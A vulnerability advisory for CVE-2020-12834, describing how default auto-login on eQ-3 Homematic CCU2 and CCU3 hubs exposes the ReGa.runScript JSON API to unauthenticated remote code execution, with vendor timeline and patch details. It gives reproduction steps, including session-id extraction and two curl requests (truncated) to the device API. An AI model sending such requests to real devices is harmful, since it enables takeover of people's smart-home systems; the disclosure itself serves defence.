CVE-2020-12834 eQ-3 Homematic CCU2 through 2.51.6 and CCU3 through 3.51.6 allow Remote Code Execution in JSON API Method ReGa.runScript by unauthenticated attackers with access to the web interface due to default auto-login feature enabled during first-time setup (or factory reset)

Overview

- CVE: CVE-2020-12834
- Author: psytester
- Title: eQ-3 Homematic CCU2 through 2.51.6 and CCU3 through 3.51.6 allow Remote Code Execution in JSON API Method ReGa.runScript by unauthenticated attackers with access to the web interface due to default auto-login feature enabled during first-time setup (or factory reset)
- Vulnerability Type: CWE-285: Improper Authorization
- CVSSv3 Base Score: 8.3
- CVSSv3 Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
- Publishing Date: 14.05.2020
- Updated: 25.08.2020
- Vendor: eQ-3 AG
- Product: Homematic CCU2 and CCU3
- Vendor contacted: 12.05.2020
- Vendor confirmation: 15.05.2020
- Vendor patch CCU2: 2.53.27 since 25.08.2020
- Vendor patch CCU3: 3.53.26 since 18.08.2020
- Vendor Reference: [HMCCU-604] in changelog of CCU2 and CCU3 “Das Auto-Login ist nach der Erstinbetriebnahme der CCU deaktiviert.”
- Affected Firmware version of CCU2: 2.51.6 and prior tested
- Affected Firmware version of CCU3: 3.51.6 and prior tested

Background

From vendor’s website for CCU2:
HomeMatic Central Control Unit CCU2

Homematic Central Control Unit is the central element of your Homematic system, offering a whole range of control, monitoring and configuration options for all the Homematic devices in your installation
[….]

From vendor’s website for CCU3:
The Central Control Unit CCU3 is the central element for local control of the Homematic IP smart home system. It represents the next generation of our proven Homematic Central Control Units CCU1 and CCU2. Operation via the Central Control Unit CCU3 can be used alternatively to the Homematic IP Access Point. While the Access Point establishes the connection to the free Homematic IP cloud and enables operation of the smart home system via a smartphone app, the Central Control Unit CCU3 works locally via a browser-based web interface (WebUI). Thanks to local configuration and operation as well as the option to create direct device connections, reliable and fail-proof operation of the smart home system is guaranteed at all times – even in the event of Internet failures.
[….]

In the past, the vendor has never reacted or just very slow to any security report of me. That’s why I publish this vulnerability after reporting to vendor without any waiting period.

Issue Description

During the first time setup or after factory reset a password for WebUI user ‘Admin’ has to be set, but an auto-login function is set by default.
According to the support this is to facilitate the initial setup.
Switching off this auto-login is not well intuitive. Go to WebUI Home page > Settings > User management page. Click on below button “Log in automatically” next to buttons “Back” and “New”.
In “User selection” select from drop down menu “not selected” and finally click “OK”.
How many users are aware of this?

And only here you can see the the security alert:

```
Attention!
If automatic login is activated you will be logged-in to the system without entering your user name or password.
The selected user will be logged-in automatically without further validation. The system is no longer protected against external influe
You can access other user accounts with click on "Login". Afterwards, please login with the user name and password again.
```

This attack vector is inspired by CVE-2019-15850, where a manual login of the admin is required to use the JSON API method ReGa.runScript.
Inside the runScript the undocumented `system.Exec()` call is used which executes plain unix commands.
As a CCU is an ARM System using a Buildroot Busybox system all linux commands you may want to use are possible and you can code a complete shell script.

The following HTTP requests in Web Browser illustrates the attack vectors:

Open the WebUI to be auto-login `http://1.2.3.4/` will redirect to `http://1.2.3.4/pages/index.htm?sid=@7eY56glHVz@`
Extract the session id `7eY56glHVz` for further usage in JSON API call as “*session_id*” value:

```
curl -X POST -H 'Content-Type: application/json; charset=utf-8' -i 'http://1.2.3.4/api/homematic.cgi' --data '{"version": "1.1", "metho
curl -X POST -H 'Content-Type: application/json; charset=utf-8' -i 'http://1.2.3.4/api/homematic.cgi' --data '{"version": "1.1", "metho
```

CVE

CVE-2020-12834

CVSSv3 Base Score

CVSSv3 Base Score: 8.3

CVSSv3 Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Firmware update since August 2020

With firmware CCU3: 3.53.26 and CCU2: 2.53.27 during the first time setup or after factory reset a password for WebUI user ‘Admin’ has to be set AND by now the auto-login function is switched off by default.
Notice: Existing systems that only apply the update will still have the auto-login active, if this was not removed before.

/www/rega/pages/tabs/admin/adminFirstStart.htm

```
iseUser.setAutoLogin(0, 0);
```

Credit

psytester, but I was inspired by Joshua Lehr CVE-2019-15850

Not owning an original CCU2 or CCU3, but you want to analyze the CCU ‘for free’?
You can download
piVCCU for running the original CCU3 Firmware in lxc container on RaspberryPi
RaspberryMatic for running the opensource OCCU based release on different boards

Disclaimer

Written on May 13, 2020 | Last modified on August 25, 2020